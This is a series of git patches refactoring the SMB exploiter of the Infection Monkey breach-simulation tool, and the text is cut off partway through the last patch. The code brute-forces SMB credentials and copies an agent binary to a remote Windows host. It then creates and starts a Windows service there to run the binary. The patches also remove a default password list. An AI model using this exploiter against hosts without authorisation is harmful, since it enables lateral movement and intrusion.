From 415f3e6468e7d783b466e0087045a2cd1d66ab7a Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 18 Mar 2022 08:40:12 -0400 Subject: [PATCH 01/21] Agent: Remove smb_service_name configuration option This option is never changed and can be more easily stored as a constant. --- CHANGELOG.md | 1 + monkey/infection_monkey/config.py | 1 - monkey/infection_monkey/example.conf | 1 - monkey/infection_monkey/exploit/smbexec.py | 5 +++-- monkey/monkey_island/cc/services/config_schema/internal.py | 7 ------- .../tests/data_for_tests/monkey_configs/flat_config.json | 1 - 6 files changed, 4 insertions(+), 12 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 4af0e245b..63fa2717a 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -53,6 +53,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/). - T1082 attack technique report. #1754 - 32-bit agents. #1675 - Log path config options. #1761 +- "smb_service_name" option. #1741 ### Fixed - A bug in network map page that caused delay of telemetry log loading. #1545 diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index 8a920cc52..96783a249 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -120,7 +120,6 @@ class Configuration(object): # smb/wmi exploiter smb_download_timeout = 30 # timeout in seconds - smb_service_name = "InfectionMonkey" ########################### # post breach actions diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf index f0cbb6e16..7a4386107 100644 --- a/monkey/infection_monkey/example.conf +++ b/monkey/infection_monkey/example.conf @@ -38,7 +38,6 @@ ], "ping_scan_timeout": 10000, "smb_download_timeout": 300, - "smb_service_name": "InfectionMonkey", "self_delete_in_cleanup": true, "exploit_user_list": [], "exploit_password_list": [], diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py index b5b6f65c3..9a978b8a9 100644 --- a/monkey/infection_monkey/exploit/smbexec.py +++ b/monkey/infection_monkey/exploit/smbexec.py @@ -23,6 +23,7 @@ class SmbExploiter(HostExploiter): "445/SMB": (r"ncacn_np:%s[\pipe\svcctl]", 445), } USE_KERBEROS = False + SMB_SERVICE_NAME = "InfectionMonkey" def __init__(self, host): super(SmbExploiter, self).__init__(host) @@ -162,8 +163,8 @@ class SmbExploiter(HostExploiter): resp = scmr.hRCreateServiceW( scmr_rpc, sc_handle, - self._config.smb_service_name, - self._config.smb_service_name, + SmbExploiter.SMB_SERVICE_NAME, + SmbExploiter.SMB_SERVICE_NAME, lpBinaryPathName=cmdline, ) service = resp["lpServiceHandle"] diff --git a/monkey/monkey_island/cc/services/config_schema/internal.py b/monkey/monkey_island/cc/services/config_schema/internal.py index 26326721c..1db04b4ae 100644 --- a/monkey/monkey_island/cc/services/config_schema/internal.py +++ b/monkey/monkey_island/cc/services/config_schema/internal.py @@ -225,13 +225,6 @@ INTERNAL = { "description": "Timeout (in seconds) for SMB download operation (used in " "various exploits using SMB)", }, - "smb_service_name": { - "title": "SMB service name", - "type": "string", - "default": "InfectionMonkey", - "description": "Name of the SMB service that will be set up to download " - "monkey", - }, }, }, }, diff --git a/monkey/tests/data_for_tests/monkey_configs/flat_config.json b/monkey/tests/data_for_tests/monkey_configs/flat_config.json index 1f82c5499..f36bc5d18 100644 --- a/monkey/tests/data_for_tests/monkey_configs/flat_config.json +++ b/monkey/tests/data_for_tests/monkey_configs/flat_config.json @@ -90,7 +90,6 @@ } }, "smb_download_timeout": 300, - "smb_service_name": "InfectionMonkey", "subnet_scan_list": ["192.168.1.50", "192.168.56.0/24", "10.0.33.0/30"], "system_info_collector_classes": [ "MimikatzCollector" From 6fda2691e5e0e0426a621dadfeba2d9ff9b7c48a Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 18 Mar 2022 08:43:20 -0400 Subject: [PATCH 02/21] Agent: Remove dependency on WormConfig from SmbExploiter --- monkey/infection_monkey/exploit/smbexec.py | 51 +++++++------------ .../exploit/tools/smb_tools.py | 3 ++ 2 files changed, 21 insertions(+), 33 deletions(-) diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py index 9a978b8a9..9490d11d8 100644 --- a/monkey/infection_monkey/exploit/smbexec.py +++ b/monkey/infection_monkey/exploit/smbexec.py @@ -4,12 +4,13 @@ from impacket.dcerpc.v5 import scmr, transport from common.utils.attack_utils import ScanStatus, UsageEnum from infection_monkey.exploit.HostExploiter import HostExploiter -from infection_monkey.exploit.tools.helpers import get_monkey_depth, get_target_monkey +from infection_monkey.exploit.tools.helpers import get_agent_dest_path from infection_monkey.exploit.tools.smb_tools import SmbTools from infection_monkey.model import DROPPER_CMDLINE_DETACHED_WINDOWS, MONKEY_CMDLINE_DETACHED_WINDOWS from infection_monkey.network.tools import check_tcp_port from infection_monkey.network_scanning.smbfinger import SMBFinger from infection_monkey.telemetry.attack.t1035_telem import T1035Telem +from infection_monkey.utils.brute_force import generate_brute_force_combinations from infection_monkey.utils.commands import build_monkey_commandline logger = getLogger(__name__) @@ -45,14 +46,9 @@ class SmbExploiter(HostExploiter): return False def _exploit_host(self): - src_path = get_target_monkey(self.host) - - if not src_path: - logger.info("Can't find suitable monkey executable for host %r", self.host) - return False - - # TODO use infectionmonkey.utils.brute_force - creds = self._config.get_exploit_user_password_or_hash_product() + agent_binary = self.agent_repository.get_agent_binary(self.host.os["type"]) + dest_path = get_agent_dest_path(self.host, self.options) + creds = generate_brute_force_combinations(self.options["credentials"]) exploited = False for user, password, lm_hash, ntlm_hash in creds: @@ -60,24 +56,18 @@ class SmbExploiter(HostExploiter): # copy the file remotely using SMB remote_full_path = SmbTools.copy_file( self.host, - src_path, - self._config.dropper_target_path_win_32, + agent_binary, + dest_path, user, password, lm_hash, ntlm_hash, - self._config.smb_download_timeout, + self.options["smb_download_timeout"], ) if remote_full_path is not None: - logger.debug( - "Successfully logged in %r using SMB (%s : (SHA-512) %s : (SHA-512) " - "%s : (SHA-512) %s)", - self.host, - user, - self._config.hash_sensitive_data(password), - self._config.hash_sensitive_data(lm_hash), - self._config.hash_sensitive_data(ntlm_hash), + logger.info( + f'Successfully logged in to {self.host.ip_addr} using user "{user}"' ) self.report_login_attempt(True, user, password, lm_hash, ntlm_hash) self.add_vuln_port( @@ -95,15 +85,8 @@ class SmbExploiter(HostExploiter): except Exception as exc: logger.debug( - "Exception when trying to copy file using SMB to %r with user:" - " %s, password (SHA-512): '%s', LM hash (SHA-512): %s, NTLM hash (" - "SHA-512): %s: (%s)", - self.host, - user, - self._config.hash_sensitive_data(password), - self._config.hash_sensitive_data(lm_hash), - self._config.hash_sensitive_data(ntlm_hash), - exc, + "Error when trying to copy file using SMB to {self.host.ip_addr} with user " + f'"{user}":{exc}' ) continue @@ -112,18 +95,18 @@ class SmbExploiter(HostExploiter): return False # execute the remote dropper in case the path isn't final - if remote_full_path.lower() != self._config.dropper_target_path_win_32.lower(): + if remote_full_path.lower() != dest_path.lower(): cmdline = DROPPER_CMDLINE_DETACHED_WINDOWS % { "dropper_path": remote_full_path } + build_monkey_commandline( self.host, - get_monkey_depth() - 1, - self._config.dropper_target_path_win_32, + self.current_depth - 1, + dest_path, ) else: cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % { "monkey_path": remote_full_path - } + build_monkey_commandline(self.host, get_monkey_depth() - 1) + } + build_monkey_commandline(self.host, self.current_depth - 1) smb_conn = False for str_bind_format, port in SmbExploiter.KNOWN_PROTOCOLS.values(): @@ -153,6 +136,8 @@ class SmbExploiter(HostExploiter): if not smb_conn: return False + + # TODO: We DO want to deal with timeouts # We don't wanna deal with timeouts from now on. smb_conn.setTimeout(100000) scmr_rpc.bind(scmr.MSRPC_UUID_SCMR) diff --git a/monkey/infection_monkey/exploit/tools/smb_tools.py b/monkey/infection_monkey/exploit/tools/smb_tools.py index 6cbb16780..aba5901f5 100644 --- a/monkey/infection_monkey/exploit/tools/smb_tools.py +++ b/monkey/infection_monkey/exploit/tools/smb_tools.py @@ -11,6 +11,7 @@ from common.utils.attack_utils import ScanStatus from infection_monkey.config import Configuration from infection_monkey.network.tools import get_interface_to_target from infection_monkey.telemetry.attack.t1105_telem import T1105Telem +from infection_monkey.utils.brute_force import get_credential_string logger = logging.getLogger(__name__) @@ -28,6 +29,8 @@ class SmbTools(object): timeout=60, ): # TODO assess the 60 second timeout + creds_for_log = get_credential_string([username, password, lm_hash, ntlm_hash]) + logger.debug(f"Attempting to copy an agent binary to {host} using SMB with {creds_for_log}") smb, dialect = SmbTools.new_smb_connection( host, username, password, lm_hash, ntlm_hash, timeout From 396dd0fca604f0c7fd3fe00b0341536536577350 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 18 Mar 2022 08:44:30 -0400 Subject: [PATCH 03/21] Agent: Rename SmbExploiter SMBExploiter --- monkey/infection_monkey/exploit/smbexec.py | 22 +++++++++++----------- 1 file changed, 11 insertions(+), 11 deletions(-) diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py index 9490d11d8..c4dd77e43 100644 --- a/monkey/infection_monkey/exploit/smbexec.py +++ b/monkey/infection_monkey/exploit/smbexec.py @@ -16,7 +16,7 @@ from infection_monkey.utils.commands import build_monkey_commandline logger = getLogger(__name__) -class SmbExploiter(HostExploiter): +class SMBExploiter(HostExploiter): _TARGET_OS_TYPE = ["windows"] _EXPLOITED_SERVICE = "SMB" KNOWN_PROTOCOLS = { @@ -27,10 +27,10 @@ class SmbExploiter(HostExploiter): SMB_SERVICE_NAME = "InfectionMonkey" def __init__(self, host): - super(SmbExploiter, self).__init__(host) + super(SMBExploiter, self).__init__(host) def is_os_supported(self): - if super(SmbExploiter, self).is_os_supported(): + if super(SMBExploiter, self).is_os_supported(): return True if not self.host.os.get("type"): @@ -73,8 +73,8 @@ class SmbExploiter(HostExploiter): self.add_vuln_port( "%s or %s" % ( - SmbExploiter.KNOWN_PROTOCOLS["139/SMB"][1], - SmbExploiter.KNOWN_PROTOCOLS["445/SMB"][1], + SMBExploiter.KNOWN_PROTOCOLS["139/SMB"][1], + SMBExploiter.KNOWN_PROTOCOLS["445/SMB"][1], ) ) exploited = True @@ -109,14 +109,14 @@ class SmbExploiter(HostExploiter): } + build_monkey_commandline(self.host, self.current_depth - 1) smb_conn = False - for str_bind_format, port in SmbExploiter.KNOWN_PROTOCOLS.values(): + for str_bind_format, port in SMBExploiter.KNOWN_PROTOCOLS.values(): rpctransport = transport.DCERPCTransportFactory(str_bind_format % (self.host.ip_addr,)) rpctransport.set_dport(port) rpctransport.setRemoteHost(self.host.ip_addr) if hasattr(rpctransport, "set_credentials"): # This method exists only for selected protocol sequences. rpctransport.set_credentials(user, password, "", lm_hash, ntlm_hash, None) - rpctransport.set_kerberos(SmbExploiter.USE_KERBEROS) + rpctransport.set_kerberos(SMBExploiter.USE_KERBEROS) scmr_rpc = rpctransport.get_dce_rpc() @@ -148,8 +148,8 @@ class SmbExploiter(HostExploiter): resp = scmr.hRCreateServiceW( scmr_rpc, sc_handle, - SmbExploiter.SMB_SERVICE_NAME, - SmbExploiter.SMB_SERVICE_NAME, + SMBExploiter.SMB_SERVICE_NAME, + SMBExploiter.SMB_SERVICE_NAME, lpBinaryPathName=cmdline, ) service = resp["lpServiceHandle"] @@ -173,8 +173,8 @@ class SmbExploiter(HostExploiter): self.add_vuln_port( "%s or %s" % ( - SmbExploiter.KNOWN_PROTOCOLS["139/SMB"][1], - SmbExploiter.KNOWN_PROTOCOLS["445/SMB"][1], + SMBExploiter.KNOWN_PROTOCOLS["139/SMB"][1], + SMBExploiter.KNOWN_PROTOCOLS["445/SMB"][1], ) ) return True From 32491d5998f457436544b5ed4c8ad9c7c3c15700 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 18 Mar 2022 08:51:11 -0400 Subject: [PATCH 04/21] Agent: Remove logging of sensitive data from SmbTools --- .../exploit/tools/smb_tools.py | 33 +++---------------- 1 file changed, 4 insertions(+), 29 deletions(-) diff --git a/monkey/infection_monkey/exploit/tools/smb_tools.py b/monkey/infection_monkey/exploit/tools/smb_tools.py index aba5901f5..5efe87270 100644 --- a/monkey/infection_monkey/exploit/tools/smb_tools.py +++ b/monkey/infection_monkey/exploit/tools/smb_tools.py @@ -8,7 +8,6 @@ from impacket.smb3structs import SMB2_DIALECT_002, SMB2_DIALECT_21 from impacket.smbconnection import SMB_DIALECT, SMBConnection from common.utils.attack_utils import ScanStatus -from infection_monkey.config import Configuration from infection_monkey.network.tools import get_interface_to_target from infection_monkey.telemetry.attack.t1105_telem import T1105Telem from infection_monkey.utils.brute_force import get_credential_string @@ -40,16 +39,7 @@ class SmbTools(object): # skip guest users if smb.isGuestSession() > 0: - logger.debug( - "Connection to %r granted guest privileges with user: %s, password (SHA-512): " - "'%s'," - " LM hash (SHA-512): %s, NTLM hash (SHA-512): %s", - host, - username, - Configuration.hash_sensitive_data(password), - Configuration.hash_sensitive_data(lm_hash), - Configuration.hash_sensitive_data(ntlm_hash), - ) + logger.debug(f'Connection to {host} granted guest privileges with user "{username}"') try: smb.logoff() @@ -184,14 +174,8 @@ class SmbTools(object): if not file_uploaded: logger.debug( - "Couldn't find a writable share for exploiting victim %r with " - "username: %s, password (SHA-512): '%s', LM hash (SHA-512): %s, NTLM hash (" - "SHA-512): %s", - host, - username, - Configuration.hash_sensitive_data(password), - Configuration.hash_sensitive_data(lm_hash), - Configuration.hash_sensitive_data(ntlm_hash), + f"Couldn't find a writable share for exploiting victim {host} with " + f'user "{username}"' ) return None @@ -222,16 +206,7 @@ class SmbTools(object): try: smb.login(username, password, "", lm_hash, ntlm_hash) except Exception as exc: - logger.debug( - "Error while logging into %r using user: %s, password (SHA-512): '%s', " - "LM hash (SHA-512): %s, NTLM hash (SHA-512): %s: %s", - host, - username, - Configuration.hash_sensitive_data(password), - Configuration.hash_sensitive_data(lm_hash), - Configuration.hash_sensitive_data(ntlm_hash), - exc, - ) + logger.debug(f'Error while logging into {host} using user "{username}": {exc}') return None, dialect smb.setTimeout(timeout) From 4a10882bccfdd03d407dff38d862f6ac69f6e114 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 18 Mar 2022 08:54:04 -0400 Subject: [PATCH 05/21] Agent: Remove disused methods and attributes from WormConfiguration --- monkey/infection_monkey/config.py | 32 ------------------------------- 1 file changed, 32 deletions(-) diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index 96783a249..0abf6b19c 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -1,9 +1,7 @@ -import hashlib import os import sys import uuid from abc import ABCMeta -from itertools import product GUID = str(uuid.getnode()) @@ -74,8 +72,6 @@ class Configuration(object): dropper_set_date = True dropper_date_reference_path_windows = r"%windir%\system32\kernel32.dll" dropper_date_reference_path_linux = "/bin/sh" - dropper_target_path_win_64 = r"C:\Windows\temp\monkey64.exe" - dropper_target_path_linux = "/tmp/monkey" ########################### # monkey config @@ -93,34 +89,6 @@ class Configuration(object): keep_tunnel_open_time = 60 - def get_exploit_user_password_pairs(self): - """ - Returns all combinations of the configurations users and passwords - :return: - """ - return product(self.exploit_user_list, self.exploit_password_list) - - @staticmethod - def hash_sensitive_data(sensitive_data): - """ - Hash sensitive data (e.g. passwords). Used so the log won't contain sensitive data - plain-text, as the log is - saved on client machines plain-text. - - :param sensitive_data: the data to hash. - :return: the hashed data. - """ - password_hashed = hashlib.sha512(sensitive_data.encode()).hexdigest() - return password_hashed - - exploit_user_list = ["Administrator", "root", "user"] - exploit_password_list = ["Password1!", "1234", "password", "12345678"] - exploit_lm_hash_list = [] - exploit_ntlm_hash_list = [] - - # smb/wmi exploiter - smb_download_timeout = 30 # timeout in seconds - ########################### # post breach actions ########################### From df24d4ab6abfd814c24fdf293f2e52353f3b2208 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 18 Mar 2022 08:56:22 -0400 Subject: [PATCH 06/21] Agent: Use self.telemetry_messenger in SMBExploiter --- monkey/infection_monkey/exploit/smbexec.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py index c4dd77e43..1d35cba5a 100644 --- a/monkey/infection_monkey/exploit/smbexec.py +++ b/monkey/infection_monkey/exploit/smbexec.py @@ -159,7 +159,7 @@ class SMBExploiter(HostExploiter): except Exception: status = ScanStatus.SCANNED pass - T1035Telem(status, UsageEnum.SMB).send() + self.telemetry_messenger.send_telemetry(T1035Telem(status, UsageEnum.SMB)) scmr.hRDeleteService(scmr_rpc, service) scmr.hRCloseServiceHandle(scmr_rpc, service) From eddb9d527f5e36231ee8efbd971b43c1857a014a Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 18 Mar 2022 10:38:26 -0400 Subject: [PATCH 07/21] Agent: Remove dependency on SMBFingerprinter from SMBExploiter --- monkey/infection_monkey/exploit/smbexec.py | 18 ------------------ 1 file changed, 18 deletions(-) diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py index 1d35cba5a..4d5623a13 100644 --- a/monkey/infection_monkey/exploit/smbexec.py +++ b/monkey/infection_monkey/exploit/smbexec.py @@ -7,8 +7,6 @@ from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.tools.helpers import get_agent_dest_path from infection_monkey.exploit.tools.smb_tools import SmbTools from infection_monkey.model import DROPPER_CMDLINE_DETACHED_WINDOWS, MONKEY_CMDLINE_DETACHED_WINDOWS -from infection_monkey.network.tools import check_tcp_port -from infection_monkey.network_scanning.smbfinger import SMBFinger from infection_monkey.telemetry.attack.t1035_telem import T1035Telem from infection_monkey.utils.brute_force import generate_brute_force_combinations from infection_monkey.utils.commands import build_monkey_commandline @@ -29,22 +27,6 @@ class SMBExploiter(HostExploiter): def __init__(self, host): super(SMBExploiter, self).__init__(host) - def is_os_supported(self): - if super(SMBExploiter, self).is_os_supported(): - return True - - if not self.host.os.get("type"): - is_smb_open, _ = check_tcp_port(self.host.ip_addr, 445) - if is_smb_open: - smb_finger = SMBFinger() - smb_finger.get_host_fingerprint(self.host) - else: - is_nb_open, _ = check_tcp_port(self.host.ip_addr, 139) - if is_nb_open: - self.host.os["type"] = "windows" - return self.host.os.get("type") in self._TARGET_OS_TYPE - return False - def _exploit_host(self): agent_binary = self.agent_repository.get_agent_binary(self.host.os["type"]) dest_path = get_agent_dest_path(self.host, self.options) From 8eace7c7360a039c757925ed7ea697f77fb52b62 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 18 Mar 2022 10:50:55 -0400 Subject: [PATCH 08/21] Agent: Return ExploitResultData from SMBExploiter --- monkey/infection_monkey/exploit/smbexec.py | 17 +++++++++++------ 1 file changed, 11 insertions(+), 6 deletions(-) diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py index 4d5623a13..28671167d 100644 --- a/monkey/infection_monkey/exploit/smbexec.py +++ b/monkey/infection_monkey/exploit/smbexec.py @@ -32,7 +32,6 @@ class SMBExploiter(HostExploiter): dest_path = get_agent_dest_path(self.host, self.options) creds = generate_brute_force_combinations(self.options["credentials"]) - exploited = False for user, password, lm_hash, ntlm_hash in creds: try: # copy the file remotely using SMB @@ -59,7 +58,7 @@ class SMBExploiter(HostExploiter): SMBExploiter.KNOWN_PROTOCOLS["445/SMB"][1], ) ) - exploited = True + self.exploit_result.exploitation_success = True break else: # failed exploiting with this user/pass @@ -72,9 +71,9 @@ class SMBExploiter(HostExploiter): ) continue - if not exploited: + if not self.exploit_result.exploitation_success: logger.debug("Exploiter SmbExec is giving up...") - return False + return self.exploit_result # execute the remote dropper in case the path isn't final if remote_full_path.lower() != dest_path.lower(): @@ -117,7 +116,12 @@ class SMBExploiter(HostExploiter): break if not smb_conn: - return False + msg = "Failed to establish an RPC connection over SMB" + + logger.warning(msg) + self.exploit_result.error_message = msg + + return self.exploit_result # TODO: We DO want to deal with timeouts # We don't wanna deal with timeouts from now on. @@ -151,6 +155,7 @@ class SMBExploiter(HostExploiter): self.host, cmdline, ) + self.exploit_result.propagation_success = True self.add_vuln_port( "%s or %s" @@ -159,4 +164,4 @@ class SMBExploiter(HostExploiter): SMBExploiter.KNOWN_PROTOCOLS["445/SMB"][1], ) ) - return True + return self.exploit_result From 732568b34f7ae03ee12b741bbbc8ace153145129 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 18 Mar 2022 10:51:21 -0400 Subject: [PATCH 09/21] Agent: Remove disused get_monkey_depth() --- monkey/infection_monkey/exploit/tools/helpers.py | 6 ------ 1 file changed, 6 deletions(-) diff --git a/monkey/infection_monkey/exploit/tools/helpers.py b/monkey/infection_monkey/exploit/tools/helpers.py index 1ebedc668..ce6791d4c 100644 --- a/monkey/infection_monkey/exploit/tools/helpers.py +++ b/monkey/infection_monkey/exploit/tools/helpers.py @@ -26,12 +26,6 @@ def get_random_file_suffix() -> str: return random_string -def get_monkey_depth(): - from infection_monkey.config import WormConfiguration - - return WormConfiguration.depth - - def get_agent_dest_path(host: VictimHost, options: Mapping[str, Any]) -> str: if host.os["type"] == "windows": return options["dropper_target_path_win_64"] From f3d4f972a013df39037149dfbe59b113275b10e6 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 18 Mar 2022 10:54:48 -0400 Subject: [PATCH 10/21] Agent: Remove disused MonkeyHTTPServer --- .../exploit/tools/http_tools.py | 23 ------------------- 1 file changed, 23 deletions(-) diff --git a/monkey/infection_monkey/exploit/tools/http_tools.py b/monkey/infection_monkey/exploit/tools/http_tools.py index cbe0f8f66..92696a5b7 100644 --- a/monkey/infection_monkey/exploit/tools/http_tools.py +++ b/monkey/infection_monkey/exploit/tools/http_tools.py @@ -4,8 +4,6 @@ import urllib.parse import urllib.request from threading import Lock -from infection_monkey.exploit.tools.helpers import try_get_target_monkey -from infection_monkey.model import DOWNLOAD_TIMEOUT from infection_monkey.network.firewall import app as firewall from infection_monkey.network.info import get_free_tcp_port from infection_monkey.network.tools import get_interface_to_target @@ -62,24 +60,3 @@ class HTTPTools(object): "http://%s:%s/%s" % (local_ip, local_port, urllib.parse.quote(host.os["type"])), httpd, ) - - -class MonkeyHTTPServer(HTTPTools): - def __init__(self, host): - super(MonkeyHTTPServer, self).__init__() - self.http_path = None - self.http_thread = None - self.host = host - - def start(self): - # Get monkey exe for host and it's path - src_path = try_get_target_monkey(self.host) - self.http_path, self.http_thread = MonkeyHTTPServer.try_create_locked_transfer( - self.host, src_path - ) - - def stop(self): - if not self.http_path or not self.http_thread: - raise RuntimeError("Can't stop http server that wasn't started!") - self.http_thread.join(DOWNLOAD_TIMEOUT) - self.http_thread.stop() From d56a6e23db517f6924129a82a88a59d58c085760 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 18 Mar 2022 10:55:25 -0400 Subject: [PATCH 11/21] Agent: Remove disused {try,}get_target_monkey() --- monkey/infection_monkey/exploit/tools/helpers.py | 11 ----------- 1 file changed, 11 deletions(-) diff --git a/monkey/infection_monkey/exploit/tools/helpers.py b/monkey/infection_monkey/exploit/tools/helpers.py index ce6791d4c..84bd2c52b 100644 --- a/monkey/infection_monkey/exploit/tools/helpers.py +++ b/monkey/infection_monkey/exploit/tools/helpers.py @@ -8,17 +8,6 @@ from infection_monkey.model import VictimHost logger = logging.getLogger(__name__) -def try_get_target_monkey(host): - src_path = get_target_monkey(host) - if not src_path: - raise Exception("Can't find suitable monkey executable for host %r", host) - return src_path - - -def get_target_monkey(host): - raise NotImplementedError("get_target_monkey() has been retired. Use IAgentRepository instead.") - - def get_random_file_suffix() -> str: character_set = list(string.ascii_letters + string.digits + "_" + "-") # random.SystemRandom can block indefinitely in Linux From c3ffd9199064615938653808fbe6768ad8cb2110 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 18 Mar 2022 12:08:59 -0400 Subject: [PATCH 12/21] Agent: Load SMBExploiter into the puppet --- monkey/infection_monkey/monkey.py | 2 ++ 1 file changed, 2 insertions(+) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 5a6238dfc..b89a2e1f0 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -20,6 +20,7 @@ from infection_monkey.exploit.hadoop import HadoopExploiter from infection_monkey.exploit.log4shell import Log4ShellExploiter from infection_monkey.exploit.mssqlexec import MSSQLExploiter from infection_monkey.exploit.powershell import PowerShellExploiter +from infection_monkey.exploit.smbexec import SMBExploiter from infection_monkey.exploit.sshexec import SSHExploiter from infection_monkey.exploit.wmiexec import WmiExploiter from infection_monkey.exploit.zerologon import ZerologonExploiter @@ -225,6 +226,7 @@ class InfectionMonkey: puppet.load_plugin( "PowerShellExploiter", exploit_wrapper.wrap(PowerShellExploiter), PluginType.EXPLOITER ) + puppet.load_plugin("SmbExploiter", exploit_wrapper.wrap(SMBExploiter), PluginType.EXPLOITER) puppet.load_plugin("SSHExploiter", exploit_wrapper.wrap(SSHExploiter), PluginType.EXPLOITER) puppet.load_plugin("WmiExploiter", exploit_wrapper.wrap(WmiExploiter), PluginType.EXPLOITER) puppet.load_plugin( From abb05730b8ca42bc4a21fbbbc3d384d18bb4af85 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 18 Mar 2022 12:10:00 -0400 Subject: [PATCH 13/21] Agent: Remove unnecessary __init__() from SMBExploiter --- monkey/infection_monkey/exploit/smbexec.py | 3 --- 1 file changed, 3 deletions(-) diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py index 28671167d..7374bfb43 100644 --- a/monkey/infection_monkey/exploit/smbexec.py +++ b/monkey/infection_monkey/exploit/smbexec.py @@ -24,9 +24,6 @@ class SMBExploiter(HostExploiter): USE_KERBEROS = False SMB_SERVICE_NAME = "InfectionMonkey" - def __init__(self, host): - super(SMBExploiter, self).__init__(host) - def _exploit_host(self): agent_binary = self.agent_repository.get_agent_binary(self.host.os["type"]) dest_path = get_agent_dest_path(self.host, self.options) From 75dd26b3dfe01d985a75a7d4a96c76bb916f42ef Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 18 Mar 2022 12:25:45 -0400 Subject: [PATCH 14/21] Agent: Handle case where SMB service already exists in SMBExploiter --- monkey/infection_monkey/exploit/smbexec.py | 24 +++++++++++++++------- 1 file changed, 17 insertions(+), 7 deletions(-) diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py index 7374bfb43..73db6907d 100644 --- a/monkey/infection_monkey/exploit/smbexec.py +++ b/monkey/infection_monkey/exploit/smbexec.py @@ -1,6 +1,7 @@ from logging import getLogger from impacket.dcerpc.v5 import scmr, transport +from impacket.dcerpc.v5.scmr import DCERPCSessionError from common.utils.attack_utils import ScanStatus, UsageEnum from infection_monkey.exploit.HostExploiter import HostExploiter @@ -128,13 +129,22 @@ class SMBExploiter(HostExploiter): sc_handle = resp["lpScHandle"] # start the monkey using the SCM - resp = scmr.hRCreateServiceW( - scmr_rpc, - sc_handle, - SMBExploiter.SMB_SERVICE_NAME, - SMBExploiter.SMB_SERVICE_NAME, - lpBinaryPathName=cmdline, - ) + try: + resp = scmr.hRCreateServiceW( + scmr_rpc, + sc_handle, + SMBExploiter.SMB_SERVICE_NAME, + SMBExploiter.SMB_SERVICE_NAME, + lpBinaryPathName=cmdline, + ) + except DCERPCSessionError as err: + if err.error_code == 0x431: + logger.debug(f'SMB service "{SMBExploiter.SMB_SERVICE_NAME}" already exists') + resp = scmr.hROpenServiceW(scmr_rpc, sc_handle, SMBExploiter.SMB_SERVICE_NAME) + else: + self.exploit_result.error_message = str(err) + return self.exploit_result + service = resp["lpServiceHandle"] try: scmr.hRStartServiceW(scmr_rpc, service) From 9532aba033d50992f0c3f542850f92891ffe8509 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Fri, 18 Mar 2022 12:58:42 -0400 Subject: [PATCH 15/21] Agent: Improve logging around SCM connection attempts --- monkey/infection_monkey/exploit/smbexec.py | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py index 73db6907d..5ccfc03f8 100644 --- a/monkey/infection_monkey/exploit/smbexec.py +++ b/monkey/infection_monkey/exploit/smbexec.py @@ -103,13 +103,11 @@ class SMBExploiter(HostExploiter): scmr_rpc.connect() except Exception as exc: logger.debug( - "Can't connect to SCM on exploited machine %r port %s : %s", - self.host, - port, - exc, + f"Can't connect to SCM on exploited machine {self.host}, port {port} : {exc}" ) continue + logger.debug(f"Connected to SCM on exploited machine {self.host}, port {port}") smb_conn = rpctransport.get_smb_connection() break From 9b66b98428a41d7ae83df249155c50b68197283b Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Sun, 20 Mar 2022 19:38:45 -0400 Subject: [PATCH 16/21] Island: Move smb_service into exploit.properties.smb_service --- .../cc/services/config_schema/internal.py | 22 +++++++++---------- 1 file changed, 11 insertions(+), 11 deletions(-) diff --git a/monkey/monkey_island/cc/services/config_schema/internal.py b/monkey/monkey_island/cc/services/config_schema/internal.py index 1db04b4ae..da628fcce 100644 --- a/monkey/monkey_island/cc/services/config_schema/internal.py +++ b/monkey/monkey_island/cc/services/config_schema/internal.py @@ -213,17 +213,17 @@ INTERNAL = { "items": {"type": "string"}, "description": "List of SSH key pairs to use, when trying to ssh into servers", }, - }, - "smb_service": { - "title": "SMB service", - "type": "object", - "properties": { - "smb_download_timeout": { - "title": "SMB download timeout", - "type": "integer", - "default": 30, - "description": "Timeout (in 